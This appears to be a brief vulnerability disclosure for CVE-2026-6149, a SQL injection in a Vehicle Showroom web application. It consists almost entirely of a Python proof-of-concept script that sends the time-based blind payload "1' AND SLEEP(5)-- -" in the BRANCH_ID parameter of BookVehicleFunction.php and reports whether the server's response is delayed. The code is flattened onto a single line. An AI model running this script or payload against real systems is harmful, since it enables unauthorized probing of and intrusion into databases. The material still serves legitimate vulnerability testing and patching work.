CVE-2026-6149: Vehicle Showroom SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target-host/util/BookVehicleFunction.php" # Injection payload for BRANCH_ID to test for SQL injection # Example payload checking for time-based blind injection or syntax error payload = "1' AND SLEEP(5)-- -" params = { "BRANCH_ID": payload } try: response = requests.get(target_url, params=params, timeout=10) # Check if the response time indicates successful injection (Time-based) if response.elapsed.total_seconds() >= 5: print("[+] Potential SQL Injection vulnerability detected (Time-based).") else: print("[-] Not vulnerable or payload failed.") except requests.RequestException as e: print(f"Error connecting to target: {e}")